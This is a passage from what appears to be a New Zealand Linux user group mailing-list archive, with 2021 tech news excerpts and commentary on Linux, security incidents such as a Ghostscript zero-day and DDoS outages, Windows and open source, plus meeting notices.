geeks feel vindicated? In the original submission wiredog (Slashdot reader #43,288) looks back to 1995, remembering that "my first Linux was RedHat 2.0 in the beige box, running the 0.95(?) kernel and the F Virtual Window Manager... "It came with 2 books, a CD, and a boot floppy disk."' -- source: https://linux.slashdot.org/story/21/09/18/0050255 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 858-5174 (office) +64 (7) 577-5304 (home office) http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Hi, I have parcels going missing. Does anyone know of technology to trace parcels?
by Michelle 18 Sep '21

18 Sep '21

It would presumably use GPS. It would involve a very small device put in the parcel that a thief would very possibly not even see when the parcel is scanned at customs. The icing on the cake would be if the route of the parcel was able to be recorded as evidence. I will give more details later like it going on for 3 months and involving parcels posted in NZ as well. But this is trial run email because I haven't posted in a long time and I want to make sure I am doing it right. I am hoping that if anyone replies to this that there is a convenient reply to button or link that I can reply back to. Oh well, after I send this email I want to go to the site and see if it has posted. Thanks for any help.

5 13

Ransomware Scammers Preying On Krita Users
by Lawrence D'Oliveiro 16 Sep '21

16 Sep '21

Some ne’er-do-wells are targeting users of the open-source paint app Krita, purporting to offer payment for advertising the app on their YouTube channels. But when they download the referenced media “asset” pack, they get a ransomware attack instead. <https://www.theregister.com/2021/09/14/krita_users_targeted_by_ransomware/>

1 0

UN Calls For Moratorium On AI That Threatens Human Rights
by Lawrence D'Oliveiro 16 Sep '21

16 Sep '21

The UN human rights office has released a report <https://www.aljazeera.com/economy/2021/9/15/warning-of-risk-un-rights-chief…> on the risks of AI technologies to human rights. Its head, Michelle Bachelet, wants safeguards against the abuse of such technologies before they get too widely deployed. Such technologies are increasingly being used for automated decision making by both companies and governments, in ways that can impact people’s lives in a major way: for example, to control access to social security benefits, health, education, or to identify criminal suspects for arrest. When mistakes are made in these areas, the consequences can be catastrophic for the individuals concerned. And the tendency to secrecy on the part of those using such technologies doesn’t help.

1 0

More On The NZ Reserve Bank Breach
by Lawrence D'Oliveiro 15 Sep '21

15 Sep '21

Seems hackers broke into a secure file-sharing service called Accellion, based in California. The RBNZ was using that to exchange documents with the likes of banks and insurance companies. <https://www.stuff.co.nz/business/123911764/reserve-bank-reveals-more-detail…>

2 5

Travis CI flaw exposed secrets of thousands of open source projects
by Peter Reutemann 15 Sep '21

15 Sep '21

'A security flaw in Travis CI potentially exposed the secrets of thousands of open source projects that rely on the hosted continuous integration service. Travis CI is a software-testing solution used by over 900,000 open source projects and 600,000 users. A vulnerability in the tool made it possible for secure environment variables—signing keys, access credentials, and API tokens of all public open source projects—to be exfiltrated. Worse, the dev community is upset about the poor handling of the vulnerability disclosure process and the brief "security bulletin" it had to force out of Travis.' -- source: https://arstechnica.com/information-technology/2021/09/travis-ci-flaw-expos… Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 858-5174 (office) +64 (7) 577-5304 (home office) http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Another Day, Another DDoS ...
by Lawrence D'Oliveiro 14 Sep '21

14 Sep '21

A bunch of NZ banks, also NZ Post and MetService, are currently having online trouble <https://www.nzherald.co.nz/business/live-cyber-attack-fears-kiwibank-anz-nz…>. For Kiwibank, this is about the second or third outage this week.

1 1

PHP maintains an enormous lead in server-side programming languages
by Peter Reutemann 14 Sep '21

14 Sep '21

'The venerable web programming language PHP is a source of frequent complaints and frustration, but according to a report W3Techs released today, it doesn't seem to be going away anytime soon. W3Techs' web server survey looks for technologies in use by sites in Alexa's top 10 million list; today's report includes a year-on-year chart beginning with January 2010, running all the way through 2021. The survey only includes top sites not out of elitism, but as one part of its effort to avoid data-skewing returns from domain-parking services and spammers, which would otherwise dominate legitimate websites through sheer volume. Within that dataset, the story told is clear. Apart from PHP—which held a 72.5 percent share in 2010 and holds a 78.9 percent share as of today—only one other server-side language ever broke a 10 percent share. That one competitor is ASP.NET, which held an impressive 24.4 percent share in 2010 but was down to 9.3 percent in January and 8.3 percent this month. Amongst the small fry, the only truly impressive growth to be seen is in Ruby—which at 5.2 percent this month is still seeing continued, uninterrupted growth in W3Techs' survey. This might come as a shock if you're mostly familiar with Ruby on Rails, which itself remains viable but seems to be on the decline in popularity.' -- source: https://arstechnica.com/gadgets/2021/09/php-maintains-an-enormous-lead-in-s… Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 858-5174 (office) +64 (7) 577-5304 (home office) http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

2 1

EU Study On Impact Of Open Source
by Lawrence D'Oliveiro 14 Sep '21

14 Sep '21

The European Commission’s Directorate-General for Communications Networks, Content and Technology has released a report <https://www.theregister.com/2021/09/13/eu_open_source_study_highlights/> on the economic impact of open source, both software and hardware, within the EU. The report’s authors talked to companies and developers, looked at existing research, surveyed repos on GitHub and ran economic analyses, among other things. Conclusion: there is economic value in open source, but corresponding business investment in it is lacking (though smaller companies tend to be better at this). Also adoption in the public sector can be quite difficult. Further conclusion: if businesses are happy to take but not so keen to give back, then it may be up to Government to give them a nudge in the right direction. One of the authors offered this encouragement: "There are companies that do see the value of contributing back, and some less so… those companies that contribute a lot and are very active in communities see that as an advantage, because when you contribute to it, you can also steer it, know how to fix it… if you have standing in that community, you are more likely to have the community respond to your need."

1 0

Facebook’s Special Rules For VIPs
by Lawrence D'Oliveiro 14 Sep '21

14 Sep '21

A report on some leaked documents <https://arstechnica.com/tech-policy/2021/09/leaked-documents-reveal-the-spe…> detailing Facebook’s “XCheck” system for exempting certain user accounts from its normal content-moderation rules. The sole reason for the exemption is that, regardless of the rights and wrongs of what they are saying, such users (e.g. politicians, celebrities) can raise a PR storm that can make Facebook look bad, and of course the company wants to avoid that. Except that the list of such special users has now grown to about 5.8 million accounts, which is getting a bit unwieldy. Note this: In the meantime, Facebook plans to assume “good intent” on the part of high-profile users in the program and take an approach of “innocent until proven guilty,” a product manager on Facebook’s Mistakes Prevention Team wrote. Does that sound like basic fairness, rather than arbitrary treatment, to you? If only all their users were treated that way ...

1 0

Mozilla Has Defeated Microsoft's Default Browser Protections in Windows
by Peter Reutemann 14 Sep '21

14 Sep '21

'Mozilla has quietly made it easier to switch to Firefox on Windows recently. From a report: While Microsoft offers a method to switch default browsers on Windows 10, it's more cumbersome than the simple one-click process to switch to Edge. This one-click process isn't officially available for anyone other than Microsoft, and Mozilla appears to have grown tired of the situation. In version 91 of Firefox, released on August 10th, Mozilla has reverse engineered the way Microsoft sets Edge as default in Windows 10, and enabled Firefox to quickly make itself the default. Before this change, Firefox users would be sent to the Settings part of Windows 10 to then have to select Firefox as a default browser and ignore Microsoft's plea to keep Edge. Mozilla's reverse engineering means you can now set Firefox as the default from within the browser, and it does all the work in the background with no additional prompts. This circumvents Microsoft's anti-hijacking protections that the company built into Windows 10 to ensure malware couldn't hijack default apps. Microsoft tells us this is not supported in Windows.' -- source: https://news.slashdot.org/story/21/09/13/1527222 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 858-5174 (office) +64 (7) 577-5304 (home office) http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Torvalds Merges Support for Microsoft's NTFS File System, Complains GitHub 'Creates Absolutely Useless Garbage Merges'
by Peter Reutemann 13 Sep '21

13 Sep '21

'"Linux creator Linus Torvalds has agreed to include Paragon Software's NTFS3 kernel driver, giving the Linux kernel 5.15 release improved support for Microsoft's NTFS file system..." reports ZDNet, adding that the driver "will make working with Windows' NTFS drives in Linux an easier task — ending decades of difficulties with Microsoft's proprietary file system that succeeded FAT...." "But he also had some process and security lessons to offer developers about how to code submissions to the kernel should be made." "I notice that you have a GitHub merge commit in there," wrote Torvalds. He continued: "That's another of those things that I *really* don't want to see — GitHub creates absolutely useless garbage merges, and you should never ever use the GitHub interfaces to merge anything...GitHub is a perfectly fine hosting site, and it does a number of other things well too, but merges are not one of those things." Torvalds' chief problem with it was that merges need "proper commit messages with information about [what] is being merged and *why* you merge something." He continued: "But it also means proper authorship and committer information etc. All of which GitHub entirely screws up." TechRadar supplies some more context: One of the shortcomings Torvalds highlighted are GitHub's concise, factually correct, but functionally useless, commit messages. For instance, GitHub's commit message for Paragon's merge read "Merge branch 'torvalds:master' into master", which didn't impress Torvalds one bit... Torvalds also had some pertinent security advice, perhaps useful in light of recent software supply chain cyberattacks that the Linux Foundation wants to address by improving supply chain integrity through tools that make it easier to sign software cryptographically. As Torvalds points out, this is particularly important for new contributors to the Linux kernel. "For GitHub accounts (or really, anything but kernel.org where I can just trust the account management), I really want the pull request to be a signed tag, not just a plain branch," Torvalds explains... Torvalds suggests Paragon do future merges from the command-line.' -- source: https://linux.slashdot.org/story/21/09/11/2316216 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 858-5174 (office) +64 (7) 577-5304 (home office) http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Linux For Apple Silicon Macs Gets Closer To Reality
by Peter Reutemann 13 Sep '21

13 Sep '21

'"Asahi Linux for Apple M1 Macs is moving closer to reality," writes Slashdot reader TroysBucket. An Asahi developer posted a detailed status update on Twitter. Linux enthusiast Bryan Lunduke offers this succinct summary: - The Asahi Linux team has Linux (Debian, in this case) booting and usable with network support. - They now have (very early) display drivers which "take full advantage of the display hardware." - They have at least two base distributions — both Arch and Debian — working and functional (to some extent). They also have, according to their latest update, "boot picker" support so that you can manually select which OS / Drive to boot from on the M1 Macs... I, for one, can't wait to see the first public, functional release of Asahi Linux — and will be following it extremely closely.' -- source: https://linux.slashdot.org/story/21/09/12/0044227 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 858-5174 (office) +64 (7) 577-5304 (home office) http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

The Strange Tale of the Freedom Phone
by Peter Reutemann 08 Sep '21

08 Sep '21

'A 22-year-old Bitcoin millionaire wants Republicans to ditch their iPhones for a low-end handset that he hopes to turn into a political tool. From a report: It was a pitch tuned for a politically polarized audience. Erik Finman, a 22-year-old who called himself the world's youngest Bitcoin millionaire, posted a video on Twitter for a new kind of smartphone that he said would liberate Americans from their "Big Tech overlords." His splashy video, posted in July, had stirring music, American flags and references to former Presidents Abraham Lincoln and Donald J. Trump. Conservative pundits hawked Mr. Finman's Freedom Phone, and his video amassed 1.8 million views. Mr. Finman soon had thousands of orders for the $500 device. Then came the hard part: Building and delivering the phones. First, he received bad early reviews for a plan to simply put his software on a cheap Chinese phone. And then there was the unglamorous work of shipping phones, hiring customer-service agents, collecting sales taxes and dealing with regulators. "I feel like practically I was prepared for anything," he said in a recent interview. "But I guess it's kind of like how you hope for world peace, in the sense you don't think it's going to happen." For even the most lavishly funded start-ups, it is hard to compete with tech industry giants that have a death grip on their markets and are valued in the trillions of dollars. Mr. Finman was part of a growing right-wing tech industry taking on the challenge nonetheless, relying more on their conservative customers' distaste for Silicon Valley than expertise or experience. [...] To make a smartphone, however, he had to rely on Google. The company's Android software already works with millions of apps, and Google makes a free, open version of the software for developers to modify. So Mr. Finman hired engineers to strip it of any sign of Google and load it with apps from conservative social networks and news outlets. Then he uploaded the software on phones he bought from China. To unveil the phone, he recorded an infomercial in which he cast the tech companies as enemies of the American way. "Imagine if Mark Zuckerberg banned MLK or Abraham Lincoln," he said in the video. "The course of history would have been altered forever." [...] Thousands of people bought the $500 phone. Others, including some conservatives, quickly panned the animated pitch. Quickly, news outlets reported that the Freedom Phone was based on a low-cost handset from Umidigi, a Chinese manufacturer that had used chips shown to be vulnerable to hacks. Mr. Finman, who marketed the device as "the best phone in the world," was on the defensive. In an interview in July, Mr. Finman admitted that Umidigi made the phone but still said he was "100 percent" sure it was more secure than the latest iPhone. Apple has tens of thousands of engineers. Mr. Finman said he employed 15 people in Utah and Idaho.' -- source: https://hardware.slashdot.org/story/21/09/07/1450242 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 858-5174 (office) +64 (7) 577-5304 (home office) http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Ghostscript Zero-Day Allows Full Server Compromises
by Peter Reutemann 08 Sep '21

08 Sep '21

'Proof-of-concept exploit code was published online over the weekend for an unpatched Ghostscript vulnerability that puts all servers that rely on the component at risk of attacks. From a report: Published by Vietnamese security researcher Nguyen The Duc, the proof-of-concept code is available on GitHub and was confirmed to work by several of today's leading security researchers. Released back in 1988, Ghostscript is a small library that allows applications to process PDF documents and PostScript-based files. While its primary use is for desktop software, Ghostscript is also used server-side, where it is typically included with image conversion and file upload processing toolkits, such as the popular ImageMagick. The proof-of-concept code released by Nguyen on Sunday exploits this latter scenario, allowing an attacker to upload a malformed SVG file that escapes the image processing pipeline and runs malicious code on the underlying operating system. While Nguyen released the public exploit for this bug, he is not the one who discovered the vulnerability.' -- source: https://it.slashdot.org/story/21/09/07/1532205 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 858-5174 (office) +64 (7) 577-5304 (home office) http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Linus Torvalds Jokes About Celebrations for Linux's 30th Anniversary
by Peter Reutemann 05 Sep '21

05 Sep '21

'Despite Linux reaching its 30th anniversary, "most outside the tech industry will be unaware that Linux has reached such a milestone," writes ZDNet, "even though the project has had a huge impact on everything from smartphones to cloud computing." They add that Linus Torvalds "poked fun at that lack of recognition in his usual Sunday release note for a new stable version of the Linux kernel." "So I realize you must all still be busy with all the galas and fancy balls and all the other 30th anniversary events, but at some point you must be getting tired of the constant glitz, the fireworks, and the champagne," Torvalds said. "That ball gown or tailcoat isn't the most comfortable thing, either. The celebrations will go on for a few more weeks yet, but you all may just need a breather from them." Linux 5.14 includes additional features for Intel's Alder Lake mobile-ready CPUs, extra AMD support and better support for the Raspberry Pi 400 PC. "Because 5.14 is out there, just waiting for you to kick the tires and remind yourself what all the festivities are about," notes Torvalds... Torvalds is upbeat about Linux's future, predicting decades more work for the kernel's several thousand contributors who help shape the Linux kernel and drivers. "Of course, the poor tireless kernel maintainers won't have time for the festivities, because for them, this just means that the merge window will start tomorrow. We have another 30 years to look forward to, after all. But for the rest of you, take a breather, build a kernel, test it out, and then you can go back to the seemingly endless party that I'm sure you just crawled out of," he wrote.' -- source: https://linux.slashdot.org/story/21/09/04/2037241 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 858-5174 (office) +64 (7) 577-5304 (home office) http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Vocus DDoS
by Lawrence D'Oliveiro 04 Sep '21

04 Sep '21

Vocus, which owns Orcon, Slingshot, Flip and Stuff Fibre (totalling 15% of NZ broadband users), has suffered a DDoS attack, possibly still ongoing <https://www.nzherald.co.nz/nz/widespread-internet-outages-across-nz-vocus-h…>. Users in Auckland, Wellington and Christchurch were affected from 1:30pm, though some reported services returning by 2:10pm. This has also hit EFTPOS payments.

2 2

Cloudflare Says Intel is Not Inside Its Next-Gen Servers
by Peter Reutemann 02 Sep '21

02 Sep '21

'Internet-grooming company Cloudflare has revealed that it was unable to put Intel inside its new home-brew servers, because they just used too much energy. A Tuesday post by platform operations engineer Chris Howells reveals that Cloudflare has been working on designs for an eleventh-generation server since mid-2020. jaa101 writes: "We evaluated Intel's latest generation of 'Ice Lake' Xeon processors," Howells wrote. "Although Intel's chips were able to compete with AMD in terms of raw performance, the power consumption was several hundred watts higher per server -- that's enormous." Fatally enormous -- Cloudflare's evaluation saw it adopt AMD's 64-core Epyc 7713 for the servers it deploys to over 200 edge locations around the world. Power savings also influenced a decision to go from three disks to two in the new design. A pair of 1.92TB Samsung drives replaced the three of the Korean giant's 960GB units found in previous designs. The net gain was a terabyte of capacity, and six fewer watts of power consumption. Howellls's post also reveals that testing produced data showing that equipping its servers with 512GB of RAM did not produce enough of a performance boost to justify the expense. The company has therefore settled on 384GB of memory, but did jump from DDR4-2933 to DDR4-3200 as the slight cost increase delivered a justifiable performance boost.' -- source: https://slashdot.org/story/21/09/01/1917257 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 858-5174 (office) +64 (7) 577-5304 (home office) http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

2 1

On-Prem Windows Server: Are Its Days Numbered?
by Lawrence D'Oliveiro 31 Aug '21

31 Aug '21

Microsoft has released yet another typically confusing update on the future of its family of Windows Server products <https://www.theregister.com/2021/07/28/windows_server_2022_sac/>. What’s clear from the details is that development is primarily going into the cloudy versions of Windows Server, with those who prefer to manage their own instances on their own hardware being increasingly left behind: At a high level, it seems that Microsoft is investing in Azure and [Azure Kubernetes Service], and that on-premises Windows Server users are in some respects being left behind. It is notable, for example, that Active Directory's functional level has not changed since Windows Server 2016, and this remains the case in Server 2022. ... SMB over QUIC, which promises secure access to Windows file shares from anywhere, is another key feature which will be available only in Windows Server Azure Edition. The article notes that on-prem Windows Server being slowly moved to the back burner in this way “will not go down well with on-premises users, nor perhaps with rival clouds running Windows Server”. But then again, given that Microsoft’s own cloud offerings are predominantly Linux-based, I can’t see other cloud services doing any better with Windows.

1 2

ESR On GitHub
by Lawrence D'Oliveiro 29 Aug '21

29 Aug '21

NZ’s Institute of Environmental Science and Research (more commonly known as ESR) has a GitHub area at <https://github.com/ESR-NZ>. There are a few repos related to the SARS-CoV-2 virus that causes COVID-19. The data repo <https://github.com/ESR-NZ/NZ_COVID19_Data> in particular shows a nice attitude to openness: the data files are in CSV format, and the licence is CC-BY. I see quite a lot of use of Python and Jupyter there. Also some mention of .xlsx files ... hmmm ...

1 0

Software Microsoft Trusts To Run As Admin
by Lawrence D'Oliveiro 27 Aug '21

27 Aug '21

You may have heard of this security bug involving Razer gaming mice <https://arstechnica.com/information-technology/2021/08/need-to-get-root-on-…>. Basically, when you plug such a mouse into a Windows system, it automatically downloads and runs an installer “wizard”, which opens a File Explorer window to let you choose where to actually put the additional software. However, this File Explorer instance is running with full admin privileges, without the user’s prior knowledge or consent. How does this happen? Because the buggy version of the installer has been accepted as part of Microsoft’s “Windows Catalog”, which means your Windows installation trusts it with extra privileges purely on Microsoft’s say so. As if we needed another reminder that, with a proprietary OS, you are never really in control of your own systems ...

1 0

Happy Birthday, Linux: From a Bedroom Project To Billions of Devices in 30 Years
by Peter Reutemann 26 Aug '21

26 Aug '21

'On August 25, 1991, Linus Torvalds, then a student at the University of Helsinki in Finland, sent a message to the comp.os.minix newsgroup soliciting feature suggestions for a free Unix-like operating system he was developing as a hobby. Thirty years later, that software, now known as Linux, is everywhere. From a report: It dominates the supercomputer world, with 100 per cent market share. According to Google, the Linux kernel is at the heart of more than three billion active devices running Android, the most-used operating system in the world. Linux also powers the vast majority of web-facing servers Netcraft surveyed. It is even used more than Microsoft Windows on Microsoft's own Azure cloud. And then there are the embedded electronics and Internet-of-Things spaces, and other areas. Linux has failed to gain traction among mainstream desktop users, where it has a market share of about 2.38 per cent, or 3.59 per cent if you include ChromeOS, compared to Windows (73.04 per cent) and macOS (15.43 per cent). But the importance of Linux has more to do with the triumph of an idea: of free, open-source software. "It cannot be overstated how critical Linux is to today's internet ecosystem," Kees Cook, security and Linux kernel engineer at Google, told The Register via email. "Linux currently runs on everything from the smartphone we rely on everyday to the International Space Station. To rely on the internet is to rely on Linux." The next 30 years of Linux, Cook contends, will require the tech industry to work together on security and to provide more resources for maintenance and testing.' -- source: https://linux.slashdot.org/story/21/08/25/1751220 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 858-5174 (office) +64 (7) 577-5304 (home office) http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

2 2

Software For Estimating Fertilizer, Effluent Leaches From Farmland Is Flawed
by Lawrence D'Oliveiro 23 Aug '21

23 Aug '21

In a report in this evening’s TV1 news, NZ farmers have been using a piece of software to help them estimate their environmental groundwater impact that, according to some reports, is giving wildly inaccurate results <https://1news.co.nz/one-news/new-zealand/software-estimating-much-fertilise…>. The minister is looking into whether it can be fixed, or whether it needs to be replaced. Given its taxpayer funding (at least in part), why isn’t it open-sourced? Stick it on GitHub, and watch the hordes of would-be fixers descend. ;)

2 3

Level 4
by Peter Reutemann 22 Aug '21

22 Aug '21

Hi everyone With NZ going into level 4 at midnight, we will follow the guidelines that the government and university implement next week. If we shouldn't be able to meet in person, we can fall back on a virtual meeting via BigBlueButton. Well keep you posted. Stay safe everyone! Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 858-5174 (office) +64 (7) 577-5304 (home office) http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/.

2 3

Musings On Symlinks And Security
by Lawrence D'Oliveiro 19 Aug '21

19 Aug '21

I published a Blender addon <https://github.com/ldo/blendgit/> that lets you use Git to track versions of Blender documents and associated files. This addon makes heavy use of both hard links and symlinks in order to set up the directory tree snapshots correctly. Every now and then a Windows user tries to run it, and it fails for them with the peculiar error “symbolic link privilege not held”. It seems Microsoft added the ability to create symlinks in Windows back around the time of Windows Vista or 7 or so. But it puts a major obstacle in the way of users attempting to use this facility: you need to enter yourself into a special privilege group <https://social.msdn.microsoft.com/Forums/en-US/cf9d0948-b80e-436e-b5c4-8ca8…>. Or take the standard Windows lazy way out, and simply “run as administrator”. On Linux and other POSIXy systems, creating links is just a routine operation; why does Windows treat it as such a sensitive issue? In fact, even in the POSIX world, symbolic links can be a source of security problems <https://en.wikipedia.org/wiki/Symlink_race>. Symlinks were invented at the University of California at Berkeley way back in the early days of their BSD work, and the security implications only became apparent later. By that time, I think, they had become so useful and commonplace that no one wanted to get rid of them. So the workarounds were created, as the holes were uncovered. These days, the techniques have become commonplace, embedded in various library/system routines that will work securely without you having to give them a second thought. But on Windows, the whole concept is still new and untried (even after over a decade!). Very few people know how to use them, because when they try, they encounter the privilege restrictions, and that puts them off. And so the application developers hardly ever encounter the need to deal with them. And so they never become a commonplace facility that application software can be trusted to deal with.

1 0

SerenityOS: Homage To The 1990s
by Lawrence D'Oliveiro 19 Aug '21

19 Aug '21

Here <https://arstechnica.com/gadgets/2021/08/not-a-linux-distro-review-serenityo…> is a review of SerenityOS, a complete open-source POSIXy OS that does not use any GNU, Linux or BSD code. The review spends a lot of time on the GUI, which is consciously designed around a 1990s aesthetic. As usual, this sort of thing leaves me wondering “you could implement that whole look and feel on top of a Linux kernel, so why make your own?”. Then, further down, we get to this: Some of the paradigm shifts Kling and fellow contributors have introduced are neither weird nor trivial, though. SerenityOS's kernel, for example, exposes its internals as JSON rather than unstructured text. System utilities consuming kernel information therefore have a much simpler time of formatting it for display and/or internal decisions. Aha! Now there is something which could very well have a point. Though the Linux approach is to have the information exposed in these kernel pseudo-files in a simple (not unstructured!) text format that is both easy to parse and also somewhat comprehensible to a human viewer (which is harder to say of JSON). If you want to pass around object streams in a Linux command line, jq <https://github.com/stedolan/jq> is available as a standard Debian package, for doing precisely this sort of manipulation of JSON-formatted data. (Is that someone in Microsoft’s PowerShell group saying “I told you so!” ... ?)

1 0

Google's Fuchsia OS Is Rolling Out Widely To 1st-Gen Nest Hubs
by Peter Reutemann 19 Aug '21

19 Aug '21

'More owners of the first-generation Nest Hub are receiving the update to Google's Fuchsia operating system as it expands beyond the Preview program. 9to5Google reports: Back in May, Google formally released Fuchsia, its effort to develop a "not Linux" operating system from scratch, which has been years in the making. The first device to receive the new OS was Google's 2018 smart display, the Nest Hub -- not to be confused with the second generation Nest Hub with sleep tracking released earlier this year -- taking it permanently off of the existing Linux based "Cast OS" without negatively affecting the UI or experience. At the time, the rollout of Fuchsia was limited to a select few devices that were enrolled in the "Preview program" available to all devices via the Google Home app. Over time, the number of Nest Hubs running Fuchsia was expanded, with Google no doubt watching carefully for any issues with the upgrade. Late last week, Google updated a support page to reflect that the Nest Hub has received a new firmware update for both the Preview program and all other devices. Specifically, the first-gen Nest Hub is now receiving firmware version 1.52.260996. Google confirmed to us that this update does indeed include the upgrade to Fuchsia. All goes well, this means in a matter of days, all first-gen Nest Hub devices in households around the world should be running Fuchsia. ' -- source: https://tech.slashdot.org/story/21/08/18/2056255 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 858-5174 (office) +64 (7) 577-5304 (home office) http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

2 1

Firewalls and Middleboxes Can Be Weaponized For Gigantic DDoS Attacks
by Peter Reutemann 18 Aug '21

18 Aug '21

'In an award-winning paper last week, academics said they discovered a way to abuse the TCP protocol, firewalls, and other network middleboxes to launch giant distributed denial of service (DDoS) attacks against any target on the internet. Authored by computer scientists from the University of Maryland and the University of Colorado Boulder, the research is the first of its kind to describe a method to carry out DDoS reflective amplification attacks via the TCP protocol, previously thought to be unusable for such operations. Making matters worse, researchers said the amplification factor for these TCP-based attacks is also far larger than UDP protocols, making TCP protocol abuse one of the most dangerous forms of carrying out a DDoS attack known to date and very likely to be abused in the future.' -- source: https://it.slashdot.org/story/21/08/17/1941202 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 858-5174 (office) +64 (7) 577-5304 (home office) http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Linux Glibc Security Fix Created a Nastier Linux Bug
by Peter Reutemann 17 Aug '21

17 Aug '21

'A fix that was made in early June to the GNU C Library (glibc) introduced a new and nastier problem. Steven J. Vaughan-Nichols writes via ZDNet: The first problem wasn't that bad. As Siddhesh Poyarekar, a Red Hat principal software engineer wrote, "In order to mount a minimal attack using this flaw, an attacker needs many pre-requisites to be able to even crash a program using this mq_notify bug." Still, it needed patching and so it was fixed. Alas, the fix contained an even nastier bug. While checking the patch, Nikita Popov, a member of the CloudLinux TuxCare Team, found the problem. It turns out that it is possible to cause a situation where a segmentation fault could be triggered within the library. This can lead to any application using the library crashing. This, of course, would cause a Denial-of-Service (DoS) issue. This problem, unlike the earlier one, would be much easier to trigger. Whoops. Red Hat gives the problem in its Common Vulnerability Scoring System (CVSS) a score of 7.5, which is "high." An attack using it would be easy to build and requires no privileges to be made. In short, it's bad news. Popov himself thinks "every Linux application including interpreters of other languages (python, PHP) is linked with glibc. It's the second important thing after the kernel itself, so the impact is quite high." [...] The good news is both the vulnerability and code fix have been submitted to the glibc development team. It has already been incorporated into upstream glibc. In addition, a new test has been submitted to glibc's automated test suite to pick up this situation and prevent it from happening in the future. The bottom line is sometimes changed in unrelated code paths can lead to behaviors changing elsewhere without the programmer realizing what's going on. This test will catch this situation. The Linux distributors are still working out the best way to deploy the fix. In the meantime, if you want to be extra careful -- and I think you should be -- you should upgrade to the newest stable version of glibc 2.34 or higher. ' -- source: https://it.slashdot.org/story/21/08/16/2131221 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 858-5174 (office) +64 (7) 577-5304 (home office) http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Debian 11 'Bullseye' Released As Stable
by Peter Reutemann 16 Aug '21

16 Aug '21

'"One of the oldest and most renowned distributions of Linux has been released!" âwrites Slashdot reader Washuu2. Phoronix reports it took "just over two years in development." Debian 11 brings many new features as outlined this morning with the big upgrade to Linux 5.10 LTS, exFAT file-system support, control groups v2, yescrypt for password hashing, and a plethora of updated packages. GNOME 3.38, KDE Plasma 5.20, and Xfce 4.16 are among the desktop options for Debian 11. Debian.org adds: Do you want to celebrate the release? We provide some bullseye artwork that you can share or use as base for your own creations. Follow the conversation about bullseye in social media via the #ReleasingDebianBullseye and #Debian11Bullseye hashtags... Around the world, there were even several in-person and online release parties — with a few more upcoming!' -- source: https://linux.slashdot.org/story/21/08/15/171228 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 858-5174 (office) +64 (7) 577-5304 (home office) http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

2 1

meeting this month
by Peter Reutemann 16 Aug '21

16 Aug '21

Hi everyone At this stage, we don't have any talk(s) lined up for our meeting this month. Anybody feeling like a quick show and tell about some software or project that they've been working on lately? Or another topic that they'd like to discuss? Thanks! Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 858-5174 (office) +64 (7) 577-5304 (home office) http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 1

“Androids”: A History Of The Development Of The Android Operating System
by Lawrence D'Oliveiro 15 Aug '21

15 Aug '21

Chet Haase, one of the Android engineers, has published a book called “Androids”, giving an account of the early development of the mobile OS. A review is here <https://arstechnica.com/gadgets/2021/08/review-androids-is-a-developer-comm…>, and an excerpt is here <https://arstechnica.com/information-technology/2021/08/excerpt-the-history-…>. Before Android the company got acquired by Google, they were shopping themselves around to various groups of venture capitalists. From the beginning, the platform was going to be built on Open Source components like the Linux kernel. So how were they going to make money, if the main part of the platform was being given away for free? The initial answer was to offer paid-for services that would be resold by the carriers. This whole idea went away after the Google acquisition. Interesting to review the state of play at the time Android Inc were pitching their new OS: Symbian had some support from different vendors, but surprisingly (to me, at least), it left the whole UI layer up to the device maker, with no attempt at standardization between vendors. How were you to write portable apps in that situation? No wonder it had limited uptake. Sun were offering Java ME for mobile devices, but again, this was subject to differing, not-quite-compatible “profiles” for different devices, further complicating the headache of writing code to run across those devices. As I understand it, it also ran just a single Java VM on the device which had to be shared across all applications, which made it totally unsuited to a modern multitasking OS. The Hiptop device from Danger, Inc also gets a mention. Not a few people considered it probably the best mobile device to come out up to that point. Not mentioned in the above is that Microsoft acquired Danger. But because its platform was built on Java, which Microsoft had an 